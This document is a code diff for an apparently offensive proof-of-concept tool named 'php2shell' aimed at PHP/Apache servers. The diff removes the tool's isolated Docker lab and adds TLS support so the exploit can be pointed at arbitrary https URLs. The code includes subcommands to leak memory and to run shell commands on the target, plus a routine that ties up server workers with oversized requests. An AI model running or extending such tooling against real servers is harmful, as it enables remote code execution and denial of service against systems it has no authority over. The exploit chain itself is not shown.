print("start a target first - see README: Target (not shipped)", file=sys.stderr)
return False return False
def cmd_lab(args):
action = args.action
name = args.name or os.environ.get("NAME") or "p2s-lab"
port = args.port or int(os.environ.get("PORT") or 18110)
image = args.image or os.environ.get("IMAGE") or "php:8.4.26-apache"
net = args.net or os.environ.get("NET") or ""
args.name = name
args.port = port
if action == "status":
return cmd_status(args)
try:
if action == "down":
lab.down(name)
print("down %s" % name)
return 0
body = lab.up(ROOT, image, name, port, net, args.host)
except lab.LabError as exc:
print(str(exc), file=sys.stderr)
return 1
print("target: %s" % body)
print("next: python -m poc check --name %s --port %d" % (name, port))
print(" python -m poc exploit --port %d" % port)
return 0
def cmd_status(args): def cmd_status(args):
try: name = args.name
rows = lab.status(args.name, args.lib_path) rows = []
except lab.LabError as exc: ver = dkr(["exec", name, "php", "-v"]).splitlines()
print(str(exc), file=sys.stderr) rows.append(("php", ver[0] if ver else "?"))
for line in dkr(["exec", name, "php", "-i"]).splitlines():
key, _, val = line.partition("=>")
key = key.strip()
if key in INVL:
rows.append((key, val.split("=>")[0].strip()))
sha = dkr(["exec", name, "sha256sum", args.lib_path]).split()
rows.append(("libphp_sha256", sha[0] if sha else "?"))
apache = dkr(["exec", name, "apache2", "-v"]).splitlines()
rows.append(("apache", apache[0] if apache else "?"))
rows.append(("workers", dkr(["exec", name, "sh", "-c", "pgrep -c apache2"]).strip()))
if not any(v.strip() for k, v in rows if k != "workers"):
print("cannot inspect container %r (is it running? is docker available?)" % name,
file=sys.stderr)
return 1 return 1
if args.json: if args.json:
print(json.dumps(dict(rows), indent=2)) print(json.dumps(dict(rows), indent=2))
@@ -352,7 +371,7 @@ def exec_fits(command, remote=EXEC_REMOTE):
def cmd_exec(args): def cmd_exec(args):
if not require_target(args.host, args.port): if not require_target(args.host, args.port, args.tls, args.insecure):
return 1 return 1
prof = profile_or_die(args) prof = profile_or_die(args)
if not exec_fits(args.cmd): if not exec_fits(args.cmd):
@@ -361,11 +380,12 @@ def cmd_exec(args):
% (wrapped_len, CARRIER_LIMIT), file=sys.stderr) % (wrapped_len, CARRIER_LIMIT), file=sys.stderr)
print("put it in a file and run: --cmd 'sh</out/c'", file=sys.stderr) print("put it in a file and run: --cmd 'sh</out/c'", file=sys.stderr)
return 2 return 2
local = os.path.join(ROOT, "out", ".poc-exec") local = os.path.join(outdir.default_outdir(), ".poc-exec")
ns = copy.copy(args) ns = copy.copy(args)
ns.cmd = exec_wrapper(args.cmd) ns.cmd = exec_wrapper(args.cmd)
ns.proof = local ns.proof = local
ns.quiet = True ns.quiet = True
outdir.ensure()
if os.path.exists(local): if os.path.exists(local):
os.remove(local) os.remove(local)
code = 1 code = 1
@@ -433,12 +453,20 @@ def build_parser():
p = sub.add_parser("check") p = sub.add_parser("check")
common(p) common(p)
p.set_defaults(func=cmd_check) p.add_argument("--url", default="")
p.add_argument("--path", default="")
p.add_argument("--tls", action="store_true")
p.add_argument("--insecure", action="store_true")
p.set_defaults(func=cmd_check, resolve=True)
p = sub.add_parser("leak") p = sub.add_parser("leak")
common(p) common(p)
p.add_argument("--url", default="") p.add_argument("--url", default="")
p.add_argument("--path", default="") p.add_argument("--path", default="")
p.add_argument("--tls", action="store_true",
help="use TLS; implied by an https:// url")
p.add_argument("--insecure", action="store_true",
help="skip TLS certificate verification (self-signed labs)")
p.add_argument("--save", default="") p.add_argument("--save", default="")
p.set_defaults(func=cmd_leak, resolve=True) p.set_defaults(func=cmd_leak, resolve=True)
@@ -446,19 +474,16 @@ def build_parser():
common(p) common(p)
p.add_argument("--url", default="") p.add_argument("--url", default="")
p.add_argument("--path", default="") p.add_argument("--path", default="")
p.add_argument("--tls", action="store_true",
help="use TLS; implied by an https:// url")
p.add_argument("--insecure", action="store_true",
help="skip TLS certificate verification (self-signed labs)")
p.add_argument("--cmd", default="id>/out/p1") p.add_argument("--cmd", default="id>/out/p1")
p.add_argument("--proof", default=os.path.join(ROOT, "out", "p1")) p.add_argument("--proof", default=os.path.join(outdir.default_outdir(), "p1"))
p.add_argument("--dry-run", action="store_true") p.add_argument("--dry-run", action="store_true")
p.add_argument("--retries", type=int, default=3) p.add_argument("--retries", type=int, default=3)
p.set_defaults(func=cmd_exploit, resolve=True) p.set_defaults(func=cmd_exploit, resolve=True)
p = sub.add_parser("lab")
common(p)
p.set_defaults(name=None, port=None)
p.add_argument("action", nargs="?", choices=("up", "down", "status"), default="up")
p.add_argument("--image", default="")
p.add_argument("--net", default="")
p.set_defaults(func=cmd_lab)
p = sub.add_parser("status") p = sub.add_parser("status")
common(p) common(p)
@@ -468,6 +493,10 @@ def build_parser():
common(p) common(p)
p.add_argument("--url", default="") p.add_argument("--url", default="")
p.add_argument("--path", default="") p.add_argument("--path", default="")
p.add_argument("--tls", action="store_true",
help="use TLS; implied by an https:// url")
p.add_argument("--insecure", action="store_true",
help="skip TLS certificate verification (self-signed labs)")
p.add_argument("--cmd", required=True) p.add_argument("--cmd", required=True)
p.add_argument("--retries", type=int, default=3) p.add_argument("--retries", type=int, default=3)
p.set_defaults(func=cmd_exec, resolve=True) p.set_defaults(func=cmd_exec, resolve=True)
-131
View File
@@ -1,131 +0,0 @@
import os
import shutil
import socket
import subprocess
import time
INIT = ("cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini\n"
"chown -R www-data:www-data /out 2>/dev/null || true\n"
"exec apache2-foreground")
INI_KEYS = {"display_errors", "memory_limit", "post_max_size", "output_buffering",
"max_file_uploads", "max_input_vars", "session.upload_progress.enabled",
"session.save_handler", "session.serialize_handler"}
class LabError(Exception):
pass
def docker():
exe = shutil.which("docker")
if not exe:
raise LabError("docker not found in PATH")
return exe
def host_path(path, nt=None):
if nt is None:
nt = os.name == "nt"
return path.replace("\\", "/") if nt else path
def build_run_args(root, image, name, port, net="", nt=None):
lab_dir = os.path.join(root, "lab")
out_dir = os.path.join(root, "out")
args = ["run", "-d", "--name", name]
if net:
args += ["--network", net]
args += [
"-p", "127.0.0.1:%d:80" % port,
"-v", host_path(os.path.join(lab_dir, "index.php"), nt) + ":/var/www/html/index.php:ro",
"-v", host_path(os.path.join(lab_dir, "apache-single-worker.conf"), nt) + ":/etc/apache2/conf-enabled/zz-p2s.conf:ro",
"-v", host_path(out_dir, nt) + ":/out",
image,
"/bin/sh", "-c", INIT,
]
return args
def run(args, timeout=300, check=True):
exe = docker()
try:
proc = subprocess.run([exe] + args, capture_output=True, text=True, timeout=timeout)
except subprocess.TimeoutExpired as exc:
raise LabError("docker %s timed out" % args[0]) from exc
if check and proc.returncode != 0:
msg = (proc.stderr or proc.stdout or "").strip().splitlines()
raise LabError("docker %s failed: %s" % (args[0], msg[-1] if msg else "exit %d" % proc.returncode))
return proc
def executable(argv, name):
exe = docker()
proc = subprocess.run([exe, "exec", name] + argv,
capture_output=True, text=True, timeout=120)
return proc.stdout
def _http_get(host, port, path="/index.php", timeout=1.0):
sock = socket.create_connection((host, port), timeout=timeout)
try:
request = ("GET %s HTTP/1.0\r\nHost: %s\r\n\r\n" % (path, host)).encode()
sock.sendall(request)
data = b""
while b"\r\n\r\n" not in data:
chunk = sock.recv(1024)
if not chunk:
break
data += chunk
finally:
sock.close()
head, _, body = data.partition(b"\r\n\r\n")
return head, body
def wait_ready(port, host="127.0.0.1", attempts=120, delay=0.25):
for _ in range(attempts):
try:
head, body = _http_get(host, port)
if b" 200" in head:
return body.decode("latin1").strip()
except OSError:
pass
time.sleep(delay)
return None
def up(root, image, name, port, net="", host="127.0.0.1"):
run(["rm", "-f", name], check=False)
os.makedirs(os.path.join(root, "out"), exist_ok=True)
if net:
run(["network", "create", net], check=False)
run(build_run_args(root, image, name, port, net))
body = wait_ready(port, host)
if body is None:
logs = run(["logs", "--tail", "20", name], check=False)
raise LabError("target did not answer on %s:%d within %.0fs\n%s"
% (host, port, 120 * 0.25, (logs.stdout or "") + (logs.stderr or "")))
return body
def down(name):
run(["rm", "-f", name], check=False)
return True
def status(name, lib_path):
rows = []
ver = executable(["php", "-v"], name).splitlines()
rows.append(("php", ver[0] if ver else "?"))
for line in executable(["php", "-i"], name).splitlines():
key, _, val = line.partition("=>")
key = key.strip()
if key in INI_KEYS:
rows.append((key, val.split("=>")[0].strip()))
sha = executable(["sha256sum", lib_path], name).split()
rows.append(("libphp_sha256", sha[0] if sha else "?"))
apache = executable(["apache2", "-v"], name).splitlines()
rows.append(("apache", apache[0] if apache else "?"))
rows.append(("workers", executable(["sh", "-c", "pgrep -c apache2"], name).strip()))
return rows
+15
View File
@@ -0,0 +1,15 @@
import os
def default_outdir():
if os.name == "nt":
base = os.environ.get("LOCALAPPDATA") or os.path.expanduser(os.path.join("~", "AppData", "Local"))
else:
base = os.environ.get("XDG_DATA_HOME") or os.path.expanduser(os.path.join("~", ".local", "share"))
return os.path.join(base, "php2shell", "out")
def ensure():
path = default_outdir()
os.makedirs(path, exist_ok=True)
return path
+19 -6
View File
@@ -1,10 +1,22 @@
import socket import socket
import ssl
import time import time
import urllib.parse import urllib.parse
BOUNDARY = b"C" * 10 BOUNDARY = b"C" * 10
def connect(host, port, timeout=5.0, tls=False, insecure=False):
sock = socket.create_connection((host, port), timeout=timeout)
if not tls:
return sock
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
return ctx.wrap_socket(sock, server_hostname=host)
def frame_chunked(path, body, host, boundary=BOUNDARY, chunk=65536): def frame_chunked(path, body, host, boundary=BOUNDARY, chunk=65536):
hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\n" hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\n"
"Content-Type: multipart/form-data; boundary=%s\r\n" "Content-Type: multipart/form-data; boundary=%s\r\n"
@@ -25,9 +37,9 @@ def frame_plain(path, body, host, boundary=BOUNDARY):
(path, host, boundary.decode(), len(body))).encode() + body (path, host, boundary.decode(), len(body))).encode() + body
def send(host, port, blob, timeout=600.0, limit=8 << 20): def send(host, port, blob, timeout=600.0, limit=8 << 20, tls=False, insecure=False):
resp = bytearray() resp = bytearray()
sock = socket.create_connection((host, port), timeout=timeout) sock = connect(host, port, timeout, tls, insecure)
sock.settimeout(timeout) sock.settimeout(timeout)
try: try:
sock.sendall(blob) sock.sendall(blob)
@@ -57,19 +69,20 @@ def status(resp):
return resp.split(b"\r\n", 1)[0][:80].decode("latin1", "replace") return resp.split(b"\r\n", 1)[0][:80].decode("latin1", "replace")
def warm(host, port, path="/index.php"): def warm(host, port, path="/index.php", tls=False, insecure=False):
sock = socket.create_connection((host, port), timeout=5) sock = connect(host, port, 5, tls, insecure)
sock.sendall(("GET %s HTTP/1.0\r\nHost: x\r\n\r\n" % path).encode()) sock.sendall(("GET %s HTTP/1.0\r\nHost: x\r\n\r\n" % path).encode())
sock.recv(1024) sock.recv(1024)
sock.close() sock.close()
def hold_workers(host, port, count, body_len=1048576, path="/index.php"): def hold_workers(host, port, count, body_len=1048576, path="/index.php",
tls=False, insecure=False):
held = [] held = []
if count <= 0: if count <= 0:
return held return held
for _ in range(count): for _ in range(count):
sock = socket.create_connection((host, port), timeout=5) sock = connect(host, port, 5, tls, insecure)
sock.sendall(("POST %s HTTP/1.1\r\nHost: %s\r\n" sock.sendall(("POST %s HTTP/1.1\r\nHost: %s\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n" "Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: %d\r\n\r\nx" % (path, host, body_len)).encode()) "Content-Length: %d\r\n\r\nx" % (path, host, body_len)).encode())
+28 -19
View File
@@ -8,31 +8,21 @@ def parse(argv):
class SeparationTest(unittest.TestCase): class SeparationTest(unittest.TestCase):
def test_lab_defaults_to_up(self): def test_no_lab_subcommand(self):
self.assertEqual(parse(["lab"]).action, "up")
def test_lab_up_status_down(self):
for action in ("up", "down", "status"):
self.assertEqual(parse(["lab", action]).action, action)
def test_lab_rejects_unknown_action(self):
with self.assertRaises(SystemExit): with self.assertRaises(SystemExit):
parse(["lab", "exploit"]) parse(["lab"])
def test_lab_has_no_exploit_flags(self): def test_subcommands_are_exploit_only(self):
ns = parse(["lab", "up"]) cases = {"check": [], "leak": [], "exploit": [], "status": [],
for flag in ("proof", "retries", "dry_run"): "exec": ["--cmd", "id"], "offsets": ["--lib", "x"], "selftest": []}
self.assertFalse(hasattr(ns, flag), flag) for name, extra in cases.items():
self.assertTrue(callable(parse([name] + extra).func), name)
def test_exploit_keeps_its_flags(self): def test_exploit_keeps_its_flags(self):
ns = parse(["exploit", "--cmd", "id>/out/x", "--retries", "1"]) ns = parse(["exploit", "--cmd", "id>/out/x", "--retries", "1"])
self.assertEqual(ns.cmd, "id>/out/x") self.assertEqual(ns.cmd, "id>/out/x")
self.assertEqual(ns.retries, 1) self.assertEqual(ns.retries, 1)
def test_lab_actions_do_not_run_the_chain(self):
ns = parse(["lab", "up"])
self.assertIs(ns.func, cli.cmd_lab)
def test_exploit_and_leak_are_separate_commands(self): def test_exploit_and_leak_are_separate_commands(self):
self.assertIs(parse(["exploit"]).func, cli.cmd_exploit) self.assertIs(parse(["exploit"]).func, cli.cmd_exploit)
self.assertIs(parse(["leak"]).func, cli.cmd_leak) self.assertIs(parse(["leak"]).func, cli.cmd_leak)
@@ -58,9 +48,28 @@ class UrlTargetTest(unittest.TestCase):
ns = cli.resolve_target(parse(["leak", "--url", "http://lab.internal:9000"])) ns = cli.resolve_target(parse(["leak", "--url", "http://lab.internal:9000"]))
self.assertEqual(ns.path, "/index.php") self.assertEqual(ns.path, "/index.php")
def test_https_rejected(self): def test_https_enables_tls(self):
ns = cli.resolve_target(parse(["exploit", "--url", "https://lab.internal/"]))
self.assertTrue(ns.tls)
self.assertEqual(ns.port, 443)
self.assertEqual(ns.path, "/")
def test_https_default_port_443(self):
ns = cli.resolve_target(parse(["leak", "--url", "https://lab.internal/index.php"]))
self.assertEqual((ns.tls, ns.port, ns.path), (True, 443, "/index.php"))
def test_http_leaves_tls_off(self):
ns = cli.resolve_target(parse(["exploit", "--url", "http://lab.internal/"]))
self.assertFalse(ns.tls)
self.assertEqual(ns.port, 80)
def test_unsupported_scheme_rejected(self):
with self.assertRaises(SystemExit): with self.assertRaises(SystemExit):
cli.resolve_target(parse(["exploit", "--url", "https://lab.internal/"])) cli.resolve_target(parse(["exploit", "--url", "ftp://lab.internal/"]))
def test_insecure_flag_parses(self):
ns = parse(["exploit", "--url", "https://lab.internal", "--insecure"])
self.assertTrue(ns.insecure)
def test_explicit_flags_win_over_url(self): def test_explicit_flags_win_over_url(self):
ns = cli.resolve_target(parse(["exploit", "--url", "http://a:1/x.php", "--port", "7000"])) ns = cli.resolve_target(parse(["exploit", "--url", "http://a:1/x.php", "--port", "7000"]))
-72
View File
@@ -1,72 +0,0 @@
import os
import tempfile
import unittest
from poc import lab
NT = os.name == "nt"
class HostPathTest(unittest.TestCase):
def test_windows_branch_replaces_backslashes(self):
self.assertEqual(lab.host_path("C:\\Users\\x\\out", nt=True), "C:/Users/x/out")
def test_windows_branch_leaves_forward_slashes(self):
self.assertEqual(lab.host_path("C:/Users/x/out", nt=True), "C:/Users/x/out")
def test_posix_branch_is_identity(self):
self.assertEqual(lab.host_path("/srv/poc/out", nt=False), "/srv/poc/out")
def test_default_matches_platform(self):
p = os.path.join(tempfile.gettempdir(), "out")
got = lab.host_path(p)
self.assertNotIn("\\", got)
if not NT:
self.assertEqual(got, p)
class BuildRunArgsTest(unittest.TestCase):
def setUp(self):
self.root = os.path.join(tempfile.gettempdir(), "p2s-repo")
self.args = lab.build_run_args(self.root, "php:8.4.26-apache", "p2s-lab", 18110, nt=NT)
def test_three_volume_mounts(self):
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
self.assertEqual(len(vols), 3)
for vol in vols:
self.assertTrue(vol.endswith(":ro") or vol.endswith(":/out"))
def test_destinations(self):
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
joined = " ".join(vols)
self.assertIn(":/var/www/html/index.php:ro", joined)
self.assertIn(":/etc/apache2/conf-enabled/zz-p2s.conf:ro", joined)
self.assertTrue(joined.endswith(":/out"))
def test_volume_separators_are_docker_safe(self):
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
for vol in vols:
self.assertNotIn("\\", vol)
def test_image_precedes_entrypoint(self):
idx = self.args.index("php:8.4.26-apache")
self.assertEqual(self.args[idx + 1:idx + 3], ["/bin/sh", "-c"])
def test_port_publish_binds_loopback(self):
self.assertIn("127.0.0.1:18110:80", self.args)
def test_no_network_flag_by_default(self):
self.assertNotIn("--network", self.args)
def test_network_flag_when_requested(self):
args = lab.build_run_args(self.root, "img", "c", 1, net="p2s", nt=NT)
self.assertEqual(args[args.index("--network") + 1], "p2s")
def test_init_script_has_no_crlf(self):
self.assertNotIn("\r", lab.INIT)
self.assertIn("exec apache2-foreground", lab.INIT)
self.assertIn("php.ini-production", lab.INIT)
def test_no_shell_interpolation(self):
self.assertEqual(self.args.count("-c"), 1)
self.assertEqual(len([a for a in self.args if "$" in a]), 0)
-52
View File
@@ -1,52 +0,0 @@
import socket
import threading
import time
import unittest
from poc import lab
class WaitReadyTest(unittest.TestCase):
def _serve(self, payload):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("127.0.0.1", 0))
server.listen(8)
port = server.getsockname()[1]
stop = threading.Event()
def loop():
server.settimeout(0.2)
while not stop.is_set():
try:
conn, _ = server.accept()
except OSError:
continue
try:
conn.recv(1024)
conn.sendall(payload)
finally:
conn.close()
thread = threading.Thread(target=loop, daemon=True)
thread.start()
self.addCleanup(stop.set)
self.addCleanup(server.close)
return port
def test_returns_body_when_200(self):
port = self._serve(b"HTTP/1.0 200 OK\r\nContent-Length: 3\r\n\r\nOK\n")
self.assertEqual(lab.wait_ready(port, attempts=10), "OK")
def test_none_when_not_listening(self):
dropped = socket.socket()
dropped.bind(("127.0.0.1", 0))
port = dropped.getsockname()[1]
dropped.close()
started = time.time()
self.assertIsNone(lab.wait_ready(port, attempts=3, delay=0.01))
self.assertLess(time.time() - started, 5)
def test_ignores_non_200(self):
port = self._serve(b"HTTP/1.0 503 Nope\r\n\r\nbusy")
self.assertIsNone(lab.wait_ready(port, attempts=2, delay=0.01))
+41
View File
@@ -0,0 +1,41 @@
import os
import unittest
from poc import outdir
class OutdirTest(unittest.TestCase):
def test_path_is_absolute_and_ends_with_out(self):
path = outdir.default_outdir()
self.assertTrue(os.path.isabs(path))
self.assertTrue(path.endswith("out"))
def test_contains_php2shell(self):
self.assertIn("php2shell", outdir.default_outdir())
def test_honours_env(self):
key = "XDG_DATA_HOME" if os.name != "nt" else "LOCALAPPDATA"
old = os.environ.get(key)
os.environ[key] = os.path.join(os.sep, "tmp" if os.name != "nt" else "C:\\", "poc-env")
try:
self.assertIn("poc-env", outdir.default_outdir())
finally:
if old is None:
os.environ.pop(key, None)
else:
os.environ[key] = old
def test_ensure_creates_directory(self):
key = "XDG_DATA_HOME" if os.name != "nt" else "LOCALAPPDATA"
old = os.environ.get(key)
import tempfile
tmp = tempfile.mkdtemp(prefix="poc-out-")
os.environ[key] = tmp
try:
path = outdir.ensure()
self.assertTrue(os.path.isdir(path))
finally:
if old is None:
os.environ.pop(key, None)
else:
os.environ[key] = old
+108
View File
@@ -0,0 +1,108 @@
import os
import shutil
import socket
import ssl
import subprocess
import tempfile
import threading
import unittest
from poc import wire
REPLY = b"HTTP/1.0 200 OK\r\nContent-Length: 3\r\n\r\nOK\n"
def make_cert(tmp):
cert = os.path.join(tmp, "cert.pem")
key = os.path.join(tmp, "key.pem")
subprocess.run(
["openssl", "req", "-x509", "-newkey", "rsa:2048", "-keyout", key, "-out", cert,
"-days", "1", "-nodes", "-subj", "/CN=127.0.0.1"],
check=True, capture_output=True)
return cert, key
class TlsServer:
def __init__(self, cert, key):
self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
self.ctx.load_cert_chain(cert, key)
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("127.0.0.1", 0))
self.sock.listen(8)
self.port = self.sock.getsockname()[1]
self.stop = threading.Event()
self.thread = threading.Thread(target=self._loop, daemon=True)
def _loop(self):
self.sock.settimeout(0.3)
while not self.stop.is_set():
try:
conn, _ = self.sock.accept()
except (socket.timeout, OSError):
continue
try:
tls = self.ctx.wrap_socket(conn, server_side=True)
tls.recv(65536)
tls.sendall(REPLY)
tls.close()
except (ssl.SSLError, OSError):
pass
def __enter__(self):
self.thread.start()
return self
def __exit__(self, *exc):
self.stop.set()
self.sock.close()
self.thread.join(timeout=3)
@unittest.skipUnless(shutil.which("openssl"), "openssl not available")
class WireTlsTest(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.tmp = tempfile.mkdtemp(prefix="poc-tls-")
cls.cert, cls.key = make_cert(cls.tmp)
@classmethod
def tearDownClass(cls):
shutil.rmtree(cls.tmp, ignore_errors=True)
def test_https_with_insecure_returns_body(self):
with TlsServer(self.cert, self.key) as server:
resp = wire.send("127.0.0.1", server.port, b"GET / HTTP/1.0\r\n\r\n",
timeout=5, tls=True, insecure=True)
self.assertIn(b"OK", resp)
self.assertEqual(wire.status(resp), "HTTP/1.0 200 OK")
def test_https_rejects_self_signed_by_default(self):
with TlsServer(self.cert, self.key) as server:
with self.assertRaises(ssl.SSLError):
wire.send("127.0.0.1", server.port, b"GET / HTTP/1.0\r\n\r\n", timeout=5, tls=True)
def test_chunked_framing_survives_tls(self):
with TlsServer(self.cert, self.key) as server:
blob = wire.frame_chunked("/index.php", b"ABCD", "127.0.0.1:%d" % server.port, chunk=2)
resp = wire.send("127.0.0.1", server.port, blob, timeout=5, tls=True, insecure=True)
self.assertIn(b"OK", resp)
self.assertIn(b"Transfer-Encoding: chunked", blob)
def test_plain_still_works(self):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("127.0.0.1", 0))
server.listen(1)
port = server.getsockname()[1]
def once():
conn, _ = server.accept()
conn.recv(65536)
conn.sendall(REPLY)
conn.close()
server.close()
threading.Thread(target=once, daemon=True).start()
resp = wire.send("127.0.0.1", port, b"GET / HTTP/1.0\r\n\r\n", timeout=5)
self.assertIn(b"OK", resp)